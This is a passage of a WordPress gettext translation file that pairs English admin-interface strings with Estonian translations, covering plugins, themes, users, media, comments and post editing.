#: wp-admin/includes/class-wp-plugins-list-table.php:329
msgid "Clear List"
msgstr "Kustuta nimekiri"

#: wp-admin/includes/class-wp-plugins-list-table.php:256
msgctxt "plugins"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "Kõik <span class=\"count\">(%s)</span>"
msgstr[1] "Kõik <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-plugins-list-table.php:259
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Kasutusel <span class=\"count\">(%s)</span>"
msgstr[1] "Kasutusel <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-plugins-list-table.php:262
msgid "Recently Active <span class=\"count\">(%s)</span>"
msgid_plural "Recently Active <span class=\"count\">(%s)</span>"
msgstr[0] "Hiljuti kasutatud <span class=\"count\">(%s)</span>"
msgstr[1] "Hiljuti kasutatud <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-plugins-list-table.php:265
msgid "Inactive <span class=\"count\">(%s)</span>"
msgid_plural "Inactive <span class=\"count\">(%s)</span>"
msgstr[0] "Kasutamata <span class=\"count\">(%s)</span>"
msgstr[1] "Kasutamata <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-plugins-list-table.php:227
msgid "No plugins found."
msgstr "Pluginaid ei leitud."

#: wp-admin/includes/class-wp-plugins-list-table.php:229
#: wp-admin/plugin-editor.php:32
msgid "You do not appear to have any plugins available at this time."
msgstr "Sul pole hetkel saadaval ühtki pluginat."

#: wp-admin/edit-tags.php:123 wp-admin/edit-tags.php:138 wp-admin/post.php:148
msgid "You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?"
msgstr "Üritad muuta olematut elementi. Ehk on see kustutatud?"

#: wp-admin/async-upload.php:56 wp-admin/edit-tags.php:247
#: wp-admin/includes/post.php:1651 wp-admin/post.php:154
msgid "You are not allowed to edit this item."
msgstr "Sul ei ole õigust seda elementi muuta."

#: wp-admin/post.php:157
msgid "You can&#8217;t edit this item because it is in the Trash. Please restore it and try again."
msgstr "Seda elementi ei saa muuta, kuna see asub prügikastis. See tuleb enne sealt välja tõsta."

#: wp-admin/async-upload.php:54 wp-admin/post.php:151 wp-admin/post.php:247
#: wp-admin/post.php:270 wp-admin/post.php:288
msgid "Unknown post type."
msgstr "Tundmatu postitusetüüp."

#: wp-admin/press-this.php:125
msgid "Embed Code"
msgstr "Lisa programmikood"

#: wp-admin/press-this.php:128
msgid "Insert Video"
msgstr "Lisa videofail"

#: wp-admin/press-this.php:154
msgid "Click to insert."
msgstr "Klõpsa lisamiseks"

#: wp-admin/press-this.php:227
msgid "Unable to retrieve images or no images on page."
msgstr "Pilte pole või neid ei õnnestu laadida."

#: wp-admin/press-this.php:288
msgid "click images to select"
msgstr "Valimiseks klõpsa piltidel:"

#: wp-admin/press-this.php:288
msgid "Add from URL"
msgstr "Lisa aadressilt"

#: wp-admin/press-this.php:611
msgid "Your post has been saved."
msgstr "Postitus salvestati."

#: wp-admin/press-this.php:612
msgid "View post"
msgstr "Vaata postitust"

#: wp-admin/press-this.php:614
msgid "Close Window"
msgstr "Sulge see aken"

#: wp-admin/press-this.php:656 wp-admin/press-this.php:657
msgid "Insert an Image"
msgstr "Lisa pilt"

#: wp-admin/press-this.php:661
msgid "Embed a Video"
msgstr "Lisa video"

#: wp-admin/press-this.php:644
msgid "via "
msgstr "=> "

#: wp-admin/revision.php:77
msgid "Compare Revisions of &#8220;%1$s&#8221;"
msgstr "Võrdle &#8220;%1$s&#8221; versioone"

#: wp-admin/themes.php:349
msgid "Tags:"
msgstr "Sildid:"

#: wp-admin/theme-editor.php:20
msgid "Edit Themes"
msgstr "Muuda teemasid"

#: wp-admin/theme-editor.php:56 wp-admin/theme-editor.php:59
msgid "The requested theme does not exist."
msgstr "Sellist teemat ei ole olemas."

#: wp-admin/theme-editor.php:142
msgid "Select theme to edit:"
msgstr "Vali muudetav teema:"

#: wp-admin/theme-editor.php:168
msgid "Templates"
msgstr "Mallid"

#: wp-admin/theme-editor.php:195
msgid "Oops, no such file exists! Double check the name and try again, merci."
msgstr "Ups, sellist faili pole! Kontrolli nime ja proovi uuesti (pliis!)"

#: wp-admin/themes.php:132
msgid "New theme activated. <a href=\"%s\">Visit site</a>"
msgstr "Uus teema lülitati sisse. <a href=\"%s\">Vaata esilehte</a>"

#: wp-admin/themes.php:135
msgid "Theme deleted."
msgstr "Teema kustutatud."

#: wp-admin/themes.php:331
msgid "Current Theme"
msgstr "Kasutatav teema"

#: wp-admin/includes/class-wp-themes-list-table.php:169
msgid ""
"You are about to delete this theme '%s'\n"
"  'Cancel' to stop, 'OK' to delete."
msgstr ""
"Oled kustutamas teemat '%s'. \n"
"Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'."

#: wp-admin/themes.php:246
msgid "Broken Themes"
msgstr "Katkised teemad"

#: wp-admin/options-writing.php:117 wp-admin/tools.php:41
msgid "Press This is a bookmarklet: a little app that runs in your browser and lets you grab bits of the web."
msgstr "Press This on järjehoidja: väike programmike, mis töötab veebilehitsejas ning aitab kohti meelde jätta."

#: wp-admin/options-writing.php:119 wp-admin/tools.php:44
msgid "Drag-and-drop the following link to your bookmarks bar or right click it and add it to your favorites for a posting shortcut."
msgstr "Postitusele otseviite loomiseks lohista allolev viide enda järjehoidjatesse või tee sellel paremklõps ja lisa ta järjehoidjatesse."

#: wp-admin/update-core.php:47
msgid "Download nightly build"
msgstr "Laen alla värskemat versiooni"

#: wp-admin/update-core.php:71
msgid "Download %s"
msgstr "Lae alla %s"

#: wp-admin/update-core.php:93
msgid "Hide this update"
msgstr "Peida see uuendus"

#: wp-admin/update-core.php:95
msgid "Bring back this update"
msgstr "Too uuendus tagasi"

#: wp-admin/update-core.php:98
msgid "This localized version contains both the translation and various other localization fixes. You can skip upgrading if you want to keep your current translation."
msgstr "See tõlkepakk sisaldab nii tõlget kui ka muid kohandatud faile.  Kui soovid jätkata senise tõlkega, jäta uuendamine vahele."

#: wp-admin/update-core.php:111 wp-admin/update-core.php:123
msgid "Show hidden updates"
msgstr "Näita peidetud uuendusi"

#: wp-admin/update-core.php:112
msgid "Hide hidden updates"
msgstr "Ära näita peidetud uuendusi"

#: wp-admin/update-core.php:246
msgid "Compatibility with WordPress %1$s: 100%% (according to its author)"
msgstr "Ühilduvus WordPress %1$s-ga: 100%% (autori andmetel)"

#: wp-admin/update-core.php:249 wp-admin/update-core.php:257
msgid "Compatibility with WordPress %1$s: %2$d%% (%3$d \"works\" votes out of %4$d total)"
msgstr "Ühilduvus WordPress %1$s-ga: %2$d%% (%3$d \"töötab\" -hinnanguid %4$d-st)"

#: wp-admin/update-core.php:251 wp-admin/update-core.php:259
msgid "Compatibility with WordPress %1$s: Unknown"
msgstr "Ühilduvus WordPress %1$s-ga: teadmata"

#: wp-admin/includes/class-wp-upgrader.php:2090 wp-admin/update-core.php:415
msgid "Installation Failed"
msgstr "Paigaldamine ebaõnnestus"

#: wp-admin/update.php:80
msgid "Plugin Reactivation"
msgstr "Plugina taaskäivitus"

#: wp-admin/update.php:82
msgid "Plugin reactivated successfully."
msgstr "Plugin taaskäivitatud."

#: wp-admin/update.php:85
msgid "Plugin failed to reactivate due to a fatal error."
msgstr "Pluginat ei saa taaskäivitada, kuna see tekitas tõsise vea."

#: wp-admin/update.php:111
msgid "Installing Plugin: %s"
msgstr "Paigaldan pluginat %s"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:74
#: wp-admin/plugin-install.php:104 wp-admin/update.php:134
msgid "Upload Plugin"
msgstr "Lae plugin üles"

#: wp-admin/update.php:139
msgid "Installing Plugin from uploaded file: %s"
msgstr "Paigaldan plugina failist %s"

#: wp-admin/update.php:219
msgid "Installing Theme: %s"
msgstr "Paigaldan teemat %s"

#: wp-admin/theme-install.php:55 wp-admin/theme-install.php:123
#: wp-admin/theme-install.php:125 wp-admin/update.php:241
msgid "Upload Theme"
msgstr "Lae teema  üles"

#: wp-admin/update.php:247
msgid "Installing Theme from uploaded file: %s"
msgstr "Paigaldan teema failist %s"

#: wp-admin/upgrade.php:67
msgid "Your WordPress database is already up-to-date!"
msgstr "Sinu WordPressi andmebaas on juba ajakohastatud!"

#: wp-admin/upgrade.php:104
msgid "%s queries"
msgstr "%s päringut"

#: wp-admin/upgrade.php:106
msgid "%s seconds"
msgstr "%s sekundit"

#: wp-admin/upload.php:147
msgid "You are not allowed to move this post to the trash."
msgstr "Sul ei ole õigust seda postitust prügikasti saata."

#: wp-admin/upload.php:159
msgid "You are not allowed to move this post out of the trash."
msgstr "Sul ei ole õigust seda postitust taastada."

#: wp-admin/upload.php:171
msgid "You are not allowed to delete this post."
msgstr "Sul pole õigusi seda postitust kustutada."

#: wp-admin/upload.php:245
msgid "Reattached %d attachment."
msgid_plural "Reattached %d attachments."
msgstr[0] "Taastasin %d manuse."
msgstr[1] "Taastasin %d manust."

#: wp-admin/upload.php:250
msgid "Media attachment permanently deleted."
msgid_plural "%d media attachments permanently deleted."
msgstr[0] "Meediamanus kustutati jäädavalt."
msgstr[1] "%d meediamanust kustutati jäädavalt."

#: wp-admin/upload.php:255
msgid "Media attachment moved to the trash."
msgid_plural "%d media attachments moved to the trash."
msgstr[0] "Meediamanus saadeti prügikasti."
msgstr[1] "%d meediamanust saadeti prügikasti."

#: wp-admin/upload.php:261
msgid "Media attachment restored from the trash."
msgid_plural "%d media attachments restored from the trash."
msgstr[0] "Meediamanus taastati prügikastist."
msgstr[1] " %d meediamanust taastati prügikastist."

#: wp-admin/upload.php:266
msgid "Media permanently deleted."
msgstr "Meediafail kustutatud."

#: wp-admin/upload.php:267
msgid "Error saving media attachment."
msgstr "Meediamanuse salvestamine ebaõnnestus."

#: wp-admin/upload.php:268
msgid "Media moved to the trash."
msgstr "Meediafail saadeti prügikasti."

#: wp-admin/upload.php:269
msgid "Media restored from the trash."
msgstr "Meediafail taastati."

#: wp-admin/includes/class-wp-media-list-table.php:87
msgid "Attach to a post"
msgstr "Seo postitusega"

#: wp-admin/user-edit.php:28
msgid "Edit User"
msgstr "Muuda kasutajat"

#: wp-admin/user-edit.php:71
msgid "Use https"
msgstr "Kasuta HTTPS-i"

#: wp-admin/user-edit.php:72
msgid "Always use https when visiting the admin"
msgstr "Kasuta haldamisel alati HTTPS-i"

#: wp-admin/user-edit.php:95 wp-admin/user-edit.php:124
#: wp-admin/user-edit.php:188
msgid "You do not have permission to edit this user."
msgstr "Sul pole õigust seda kasutajat muuta."

#: wp-admin/user-edit.php:201
msgid "User updated."
msgstr "Kasutaja andmeid uuendati."

#: wp-admin/user-edit.php:241
msgid "Personal Options"
msgstr "Isikuseaded"

#: wp-admin/user-edit.php:246
msgid "Visual Editor"
msgstr "Visuaalredaktor"

#: wp-admin/user-edit.php:247
msgid "Disable the visual editor when writing"
msgstr "Ära kasuta kirjutamisel visuaalredaktorit"

#: wp-admin/includes/misc.php:615 wp-admin/user-edit.php:252
msgid "Admin Color Scheme"
msgstr "Halduri värvilahendus"

#: wp-admin/user-edit.php:270
msgid "Enable keyboard shortcuts for comment moderation."
msgstr "Lülita modereerimise lühikäsud sisse."

#: wp-admin/user-edit.php:348 wp-admin/user-new.php:367
msgid "First Name"
msgstr "Eesnimi"

#: wp-admin/user-edit.php:353 wp-admin/user-new.php:371
msgid "Last Name"
msgstr "Perekonnanimi"

#: wp-admin/user-edit.php:358
msgid "Nickname"
msgstr "Hüüdnimi"

#: wp-admin/user-edit.php:363
msgid "Display name publicly as"
msgstr "Näita nimeks"

#: wp-admin/user-edit.php:399
msgid "Contact Info"
msgstr "Kontaktteave"

#: wp-admin/user-edit.php:444
msgid "About Yourself"
msgstr "Sinust"

#: wp-admin/user-edit.php:444
msgid "About the user"
msgstr "Teave kasutaja kohta"

#: wp-admin/user-edit.php:448
msgid "Biographical Info"
msgstr "Elulooline info"

#: wp-admin/user-edit.php:450
msgid "Share a little biographical information to fill out your profile. This may be shown publicly."
msgstr "Täida enda profiil mõningase infoga enda kohta. Seda võidakse avalikult näidata."

#: wp-admin/user-edit.php:459
msgid "New Password"
msgstr "Uus parool"

#: wp-admin/user-edit.php:463
msgid "If you would like to change the password type a new one. Otherwise leave this blank."
msgstr "Kui soovid kasutaja parooli muuta, sisesta see. Muul juhul jäta see tühjaks."

#: wp-admin/user-edit.php:470
msgid "Type your new password again."
msgstr "Sisesta enda uus parool uuesti."

#: wp-admin/user-edit.php:519
msgid "Additional Capabilities"
msgstr "Lisavõimalused"

#: wp-admin/user-edit.php:543
msgid "Update Profile"
msgstr "Uuenda profiili"

#: wp-admin/user-edit.php:543
msgid "Update User"
msgstr "Uuenda kasutajat"

#: wp-admin/user-new.php:88
msgid "[%s] Joining confirmation"
msgstr "[%1$s] ootab kinnitust"

#: wp-admin/user-new.php:211
msgid "Invitation email sent to new user. A confirmation link must be clicked before their account is created."
msgstr "Uuele kasutajale saadeti e-kirjaga kutse. Konto loomiseks peab ta klõpsama kirjas olevat kinnitusviidet."

#: wp-admin/user-new.php:404
msgid "Send Password?"
msgstr "Saadan parooli?"

#: wp-admin/user-new.php:405
msgid "Send this password to the new user by email."
msgstr "Saada parool kasutajale e-postiga."

#: wp-admin/user-new.php:309 wp-admin/user-new.php:422
msgid "Skip Confirmation Email"
msgstr "Ära saada kinnituskirja"

#: wp-admin/users.php:104 wp-admin/users.php:121
msgid "You can&#8217;t edit that user."
msgstr "Sa ei saa seda kasutajat muuta."

#: wp-admin/users.php:161 wp-admin/users.php:201
msgid "You can&#8217;t delete users."
msgstr "Sa ei saa kasutajaid kustutada."

#: wp-admin/users.php:217
msgid "Delete Users"
msgstr "Kustuta kasutajad"

#: wp-admin/users.php:260
msgid "There are no valid users selected for deletion."
msgstr "Ühtki kasutajat pole kustutamiseks välja valitud."

#: wp-admin/users.php:390
msgid "New user created."
msgstr "Loodi uus kasutaja."

#: wp-admin/users.php:397
msgid "The current user&#8217;s role must have user editing capabilities."
msgstr "Aktiivse kasutaja roll peab võimaldama kasutajate muutmist."

#: wp-admin/users.php:398
msgid "Other user roles have been changed."
msgstr "Teisi kasutajarolle muudeti."

#: wp-admin/users.php:401
msgid "You can&#8217;t delete the current user."
msgstr "Aktiivset kasutajat ei saa kustutada."

#: wp-admin/users.php:402
msgid "Other users have been deleted."
msgstr "Teised kasutajad kustutati."

#. translators: User role name with count
#: wp-admin/includes/class-wp-users-list-table.php:169
msgid "%1$s <span class=\"count\">(%2$s)</span>"
msgstr "%1$s <span class=\"count\">(%2$s)</span>"

#: wp-admin/includes/class-wp-users-list-table.php:213
#: wp-admin/includes/class-wp-users-list-table.php:215
msgid "Change role to&hellip;"
msgstr "Määra rolliks &hellip;"

#: wp-admin/includes/class-wp-users-list-table.php:219
msgid "Change"
msgstr "Muuda"

#: wp-admin/widgets.php:111
msgid "Inactive Widgets"
msgstr "Kasutamata moodulid"

#: wp-admin/widgets.php:78
msgid "The theme you are currently using isn&#8217;t widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please <a href=\"http://codex.wordpress.org/Widgetizing_Themes\">follow these instructions</a>."
msgstr "Sinu praegune teema ei oska kasutada lisamooduleid (näiteks külgpaanid). Infot teemade muutmiseks moodulisõbralikuks saab <a href=\"http://codex.wordpress.org/Widgetizing_Themes\">siit</a>."

#: wp-admin/widgets.php:235
msgid "Widget %s"
msgstr "Moodul %s"

#: wp-admin/widgets.php:246
msgid "Select both the sidebar for this widget and the position of the widget in that sidebar."
msgstr "Vali selle mooduli jaoks külgpaan ja mooduli asukoht sellel."

#: wp-admin/custom-background.php:331 wp-admin/widgets.php:248
msgid "Position"
msgstr "Asukoht"

#: wp-admin/widgets.php:286
msgid "Save Widget"
msgstr "Salvesta moodul"

#: wp-admin/widgets.php:302
msgid "Changes saved."
msgstr "Muudatused salvestatud."

#: wp-admin/includes/misc.php:816 wp-admin/includes/post.php:1645
#: wp-admin/widgets.php:306
msgid "Error while saving."
msgstr "Viga salvestamisel."

#: wp-admin/widgets.php:307
msgid "Error in displaying the widget settings form."
msgstr "Mooduli seadetevormi kuvamisel tekkis viga."

#: wp-admin/widgets.php:335
msgid "Available Widgets"
msgstr "Saadaolevad lisamoodulid"

#: wp-admin/widgets.php:114
msgid "Drag widgets here to remove them from the sidebar but keep their settings."
msgstr "Kui soovid mooduli külgpaanilt eemaldada, kuid säilitada selle seaded, lohista see siia."

#: wp-admin/export.php:162
msgid "Categories:"
msgstr "Rubriigid:"

#: wp-admin/comment.php:132
msgid "Permanently Delete Comment"
msgstr "Kustuta jäädavalt"

#: wp-admin/comment.php:135
msgid "You are about to approve the following comment:"
msgstr "Oled heaks kiitmas järgnevat kommentaari:"

#: wp-admin/comment.php:136
msgid "Approve Comment"
msgstr "Kiida heaks"

#: wp-admin/comment.php:295
msgid "Unknown action."
msgstr "Tundmatu tegevus."

#: wp-admin/custom-background.php:234 wp-admin/includes/theme.php:211
msgid "Custom Background"
msgstr "Kohandatud taust"

#: wp-admin/custom-background.php:238
msgid "Background updated. <a href=\"%s\">Visit your site</a> to see how it looks."
msgstr "Tausta uuendati. <a href=\"%s\">Vaata veebilehelt</a>, kuidas see sobib."

#: wp-admin/custom-background.php:307 wp-admin/custom-header.php:590
msgid "Choose an image from your computer:"
msgstr "Vali enda arvutist soovitav pilt:"

#: wp-admin/includes/template.php:1823 wp-admin/nav-menus.php:615
#: wp-admin/options.php:259
msgid "Save Changes"
msgstr "Salvesta muudatused"

#: wp-admin/custom-header.php:523 wp-admin/includes/theme.php:213
msgid "Custom Header"
msgstr "Kohandatud päis"

#: wp-admin/custom-header.php:527
msgid "Header updated. <a href=\"%s\">Visit your site</a> to see how it looks."
msgstr "Päist uuendati. <a href=\"%s\">Vaata esilehelt</a>, kuidas see sobib."

#: wp-admin/custom-header.php:797 wp-admin/custom-header.php:921
msgid "Image Processing Error"
msgstr "Viga pildi töötlemisel"

#: wp-admin/custom-header.php:814
msgid "Choose the part of the image you want to use as your header."
msgstr "Vali see osa pildist, mida soovid päises kasutada."

#: wp-admin/custom-header.php:975
msgid "You do not have permission to customize headers."
msgstr "Sul pole õigust päiseid muuta."

#: wp-admin/includes/class-wp-links-list-table.php:151
#: wp-admin/includes/class-wp-media-list-table.php:334
#: wp-admin/includes/class-wp-media-list-table.php:352
#: wp-admin/includes/class-wp-posts-list-table.php:633
#: wp-admin/includes/class-wp-terms-list-table.php:303
#: wp-admin/includes/dashboard.php:508
msgid "Edit &#8220;%s&#8221;"
msgstr "Muuda &#8220;%s&#8221;"

#: wp-admin/includes/class-wp-media-list-table.php:526
#: wp-admin/includes/class-wp-media-list-table.php:545
#: wp-admin/includes/class-wp-posts-list-table.php:680
msgid "View &#8220;%s&#8221;"
msgstr "Vaata &#8220;%s&#8221;"

#: wp-admin/includes/class-wp-media-list-table.php:390
#: wp-admin/includes/class-wp-posts-list-table.php:724
msgid "Unpublished"
msgstr "Avaldamata"

#: wp-admin/includes/class-wp-posts-list-table.php:727
msgid "Y/m/d g:i:s A"
msgstr "d.m.Y H:i:s"

#: wp-admin/includes/class-wp-media-list-table.php:396
msgid "%s from now"
msgstr "%s veel"

#: wp-admin/includes/class-wp-media-list-table.php:430
msgid "(Unattached)"
msgstr "(Seostamata)"

#: wp-admin/includes/class-wp-media-list-table.php:435
#: wp-admin/includes/class-wp-media-list-table.php:528
msgid "Attach"
msgstr "Manusta"

#: wp-admin/includes/class-wp-list-table.php:559
msgid "%s pending"
msgstr "ootel %s"

#: wp-admin/edit-comments.php:185
msgid "%s comment approved"
msgid_plural "%s comments approved"
msgstr[0] "%s kommentaar kiideti heaks"
msgstr[1] "%s kommentaari kiideti heaks"

#: wp-admin/edit-comments.php:189
msgid "%s comment marked as spam."
msgid_plural "%s comments marked as spam."
msgstr[0] "%s kommentaar märgiti spämmiks."
msgstr[1] "%s kommentaari märgiti spämmiks."

#: wp-admin/edit-comments.php:193
msgid "%s comment restored from the spam"
msgid_plural "%s comments restored from the spam"
msgstr[0] "%s kommentaar märgiti mittespämmiks."
msgstr[1] "%s kommentaari märgiti mitterspämmiks."

#: wp-admin/edit-comments.php:204
msgid "%s comment permanently deleted"
msgid_plural "%s comments permanently deleted"
msgstr[0] "%s kommentaar kustutati jäädavalt"
msgstr[1] "%s kommentaari kustutati jäädavalt"

#: wp-admin/includes/class-wp-comments-list-table.php:169
msgctxt "comments"
msgid "All"
msgid_plural "All"
msgstr[0] "Kõik"
msgstr[1] "Kõik"

#: wp-admin/includes/class-wp-comments-list-table.php:170
msgid "Pending <span class=\"count\">(<span class=\"pending-count\">%s</span>)</span>"
msgid_plural "Pending <span class=\"count\">(<span class=\"pending-count\">%s</span>)</span>"
msgstr[0] "Ootel: <span class=\"count\">(<span class=\"pending-count\">%s</span>)</span>"
msgstr[1] "Ootel: <span class=\"count\">(<span class=\"pending-count\">%s</span>)</span>"

#: wp-admin/includes/class-wp-comments-list-table.php:171
msgid "Approved"
msgid_plural "Approved"
msgstr[0] "Heakskiidetud"
msgstr[1] "Heakskiidetud"

#: wp-admin/includes/class-wp-comments-list-table.php:172
msgid "Spam <span class=\"count\">(<span class=\"spam-count\">%s</span>)</span>"
msgid_plural "Spam <span class=\"count\">(<span class=\"spam-count\">%s</span>)</span>"
msgstr[0] "Spämm: <span class=\"count\">(<span class=\"spam-count\">%s</span>)</span>"
msgstr[1] "Spämm: <span class=\"count\">(<span class=\"spam-count\">%s</span>)</span>"

#: wp-admin/includes/class-wp-comments-list-table.php:173
msgid "Trash <span class=\"count\">(<span class=\"trash-count\">%s</span>)</span>"
msgid_plural "Trash <span class=\"count\">(<span class=\"trash-count\">%s</span>)</span>"
msgstr[0] "Prügikastis: <span class=\"count\">(<span class=\"trash-count\">%s</span>)</span>"
msgstr[1] "Prügikastis: <span class=\"count\">(<span class=\"trash-count\">%s</span>)</span>"

#: wp-admin/edit-comments.php:229
msgid "Search Comments"
msgstr "Otsi kommentaaridest"

#: wp-admin/includes/deprecated.php:594
msgid "Displaying %s&#8211;%s of %s"
msgstr "Kuvatakse %s&#8211;%s  %s-st"

#: wp-admin/edit.php:197 wp-admin/includes/class-wp-list-table.php:398
msgid "Bulk Actions"
msgstr "Masstegevused"

#: wp-admin/includes/class-wp-comments-list-table.php:219
#: wp-admin/includes/class-wp-comments-list-table.php:450
#: wp-admin/includes/class-wp-comments-list-table.php:455
#: wp-admin/includes/dashboard.php:553
msgid "Unapprove"
msgstr "Lükka tagasi"

#: wp-admin/includes/class-wp-comments-list-table.php:221
#: wp-admin/includes/class-wp-comments-list-table.php:452
#: wp-admin/includes/class-wp-comments-list-table.php:454
#: wp-admin/includes/dashboard.php:552
msgid "Approve"
msgstr "Kiida heaks"

#: wp-admin/edit-form-comment.php:116
#: wp-admin/includes/class-wp-comments-list-table.php:233
#: wp-admin/includes/class-wp-posts-list-table.php:210
#: wp-admin/includes/media.php:1433 wp-admin/includes/meta-boxes.php:238
msgid "Move to Trash"
msgstr "Saada prügikasti"

#: wp-admin/includes/class-wp-comments-list-table.php:257
#: wp-admin/includes/class-wp-posts-list-table.php:1139
msgid "Pings"
msgstr "Ping-id"

#: wp-admin/includes/class-wp-comments-list-table.php:271
#: wp-admin/includes/class-wp-links-list-table.php:82
#: wp-admin/includes/class-wp-media-list-table.php:106
#: wp-admin/includes/class-wp-posts-list-table.php:246
msgid "Filter"
msgstr "Filter"

#: wp-admin/includes/class-wp-comments-list-table.php:276
msgid "Empty Spam"
msgstr "Tühjenda spämminimekiri"

#: wp-admin/includes/class-wp-comments-list-table.php:276
#: wp-admin/includes/class-wp-media-list-table.php:110
#: wp-admin/includes/class-wp-posts-list-table.php:250
msgid "Empty Trash"
msgstr "Tühjenda prügikast"

#: wp-admin/includes/class-wp-comments-list-table.php:158
msgid "No comments found."
msgstr "Kommentaare pole."

#: wp-admin/edit-form-advanced.php:66
msgid "Post updated. <a href=\"%s\">View post</a>"
msgstr "Postitust uuendati. <a href=\"%s\">Vaata postitust</a>"

#: wp-admin/edit-form-advanced.php:67 wp-admin/edit-form-advanced.php:83
msgid "Custom field updated."
msgstr "Väli uuendatud."

#: wp-admin/edit-form-advanced.php:68 wp-admin/edit-form-advanced.php:84
msgid "Custom field deleted."
msgstr "Väli kustutatud."

#: wp-admin/edit-form-advanced.php:69
msgid "Post updated."
msgstr "Postitus uuendatud."

#. translators: %s: date and time of the revision
#: wp-admin/edit-form-advanced.php:71
msgid "Post restored to revision from %s"
msgstr "Postitus taastati seisuga %s"

#: wp-admin/edit-form-advanced.php:72
msgid "Post published. <a href=\"%s\">View post</a>"
msgstr "Postitus avaldati. <a href=\"%s\">Vaata postitust</a>"

#: wp-admin/edit-form-advanced.php:73
msgid "Post saved."
msgstr "Postitus salvestatud"

#: wp-admin/edit-form-advanced.php:74
msgid "Post submitted. <a target=\"_blank\" href=\"%s\">Preview post</a>"
msgstr "Postitus esitatud. <a target=\"_blank\" href=\"%s\">Eelvaatle postitust</a>"

#: wp-admin/edit-form-advanced.php:75
msgid "Post scheduled for: <strong>%1$s</strong>. <a target=\"_blank\" href=\"%2$s\">Preview post</a>"
msgstr "Postitus avaldatakse: <b>%1$s</b>. <a target=\"_blank\" href=\"%2$s\">Eelvaatle postitust</a>"

#. translators: Publish box date format, see http:php.net/date
#: wp-admin/edit-form-advanced.php:77 wp-admin/edit-form-advanced.php:90
#: wp-admin/edit-form-comment.php:103 wp-admin/includes/meta-boxes.php:165
#: wp-admin/includes/meta-boxes.php:296 wp-admin/includes/revision.php:171
msgid "M j, Y @ G:i"
msgstr "j. M Y @ H:i"

#: wp-admin/edit-form-advanced.php:78
msgid "Post draft updated. <a target=\"_blank\" href=\"%s\">Preview post</a>"
msgstr "Postituse mustandit uuendati. <a target=\"_blank\" href=\"%s\">Eelvaatle postitust</a>"

#: wp-admin/edit-form-advanced.php:82
msgid "Page updated. <a href=\"%s\">View page</a>"
msgstr "Lehte uuendati. <a href=\"%s\">Vaata lehte</a>"

#: wp-admin/edit-form-advanced.php:85
msgid "Page updated."
msgstr "Leht uuendatud."

#: wp-admin/edit-form-advanced.php:86
msgid "Page restored to revision from %s"
msgstr "Leht taastati seisuga %s"

#: wp-admin/edit-form-advanced.php:87
msgid "Page published. <a href=\"%s\">View page</a>"
msgstr "Leht avaldati. <a href=\"%s\">Vaata lehte</a>"

#: wp-admin/edit-form-advanced.php:89
msgid "Page submitted. <a target=\"_blank\" href=\"%s\">Preview page</a>"
msgstr "Leht esitatud. <a target=\"_blank\" href=\"%s\">Eelvaatle lehte</a>"

#: wp-admin/edit-form-advanced.php:90
msgid "Page scheduled for: <strong>%1$s</strong>. <a target=\"_blank\" href=\"%2$s\">Preview page</a>"
msgstr "Leht avaldatakse: <b>%1$s</b>. <a target=\"_blank\" href=\"%2$s\">Eelvaatle lehte</a>"

#: wp-admin/edit-form-advanced.php:91
msgid "Page draft updated. <a target=\"_blank\" href=\"%s\">Preview page</a>"
msgstr "Lehe mustandit uuendati. <a target=\"_blank\" href=\"%s\">Eelvaatle lehte</a>"

#: wp-admin/edit-form-advanced.php:202
msgid "Send Trackbacks"
msgstr "Saada trackback-viide"

#: wp-admin/edit-form-advanced.php:205
msgid "Custom Fields"
msgstr "Lisaväljad"

#: wp-admin/edit-form-advanced.php:218 wp-admin/menu.php:225
msgid "Discussion"
msgstr "Arutelu"

#: wp-admin/edit-form-advanced.php:224
#: wp-admin/includes/class-wp-posts-list-table.php:954
#: wp-admin/includes/class-wp-terms-list-table.php:134
#: wp-admin/includes/class-wp-terms-list-table.php:431
#: wp-admin/includes/meta-boxes.php:665
msgid "Slug"
msgstr "Püsiviide"

#: wp-admin/edit-form-advanced.php:523 wp-admin/includes/ajax-actions.php:2055
msgid "Last edited by %1$s on %2$s at %3$s"
msgstr "Viimati muutis seda %1$s,  %2$s kell %3$s"

#: wp-admin/edit-form-advanced.php:525 wp-admin/includes/ajax-actions.php:2057
msgid "Last edited on %1$s at %2$s"
msgstr "Viimati muudetud %1$s kell %2$s"

#: wp-admin/edit-form-comment.php:81
msgid "View Comment"
msgstr "Vaata kommentaari"

#: wp-admin/edit-form-comment.php:104
msgid "Submitted on: <b>%1$s</b>"
msgstr "KIrjutatud: <b>%1$s</b>"

#: wp-admin/includes/template.php:470
msgid "Update Comment"
msgstr "Uuenda kommentaari"

#: wp-admin/edit-form-comment.php:32
msgid "Name:"
msgstr "Nimi:"

#: wp-admin/edit-form-comment.php:39
msgid "E-mail (%s):"
msgstr "E-post (%s):"

#: wp-admin/edit-form-comment.php:39
msgid "send e-mail"
msgstr "saada e-kiri"

#: wp-admin/edit-form-comment.php:41
msgid "E-mail:"
msgstr "E-post:"

#: wp-admin/edit-form-comment.php:50
msgid "visit site"
msgstr "Esilehele"

#: wp-admin/edit-form-comment.php:52
msgid "URL (%s):"
msgstr "URL (%s):"

#: wp-admin/edit-form-comment.php:54
msgid "URL:"
msgstr "URL:"

#: wp-admin/edit-tag-form.php:101 wp-admin/edit-tags.php:457
msgid "The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens."
msgstr "&#8220;Püsiviide&#8221; on nime veebisõbralik variant. See koosneb enamasti vaid väiketähtedest ning sisaldab vaid tähti, numbreid ja sidekriipse."

#: wp-admin/edit-tag-form.php:118 wp-admin/edit-tags.php:504
msgid "The description is not prominent by default; however, some themes may show it."
msgstr "Seda kirjeldust vaikimisi esile ei tõsteta, kuid mõned teemad võivad seda näidata."

#: wp-admin/edit-link-form.php:14
msgid "<a href=\"%s\">Links</a> / Edit Link"
msgstr "<a href=\"%s\">Viited</a> / Muuda viidet"

#: wp-admin/edit-link-form.php:15 wp-admin/includes/meta-boxes.php:809
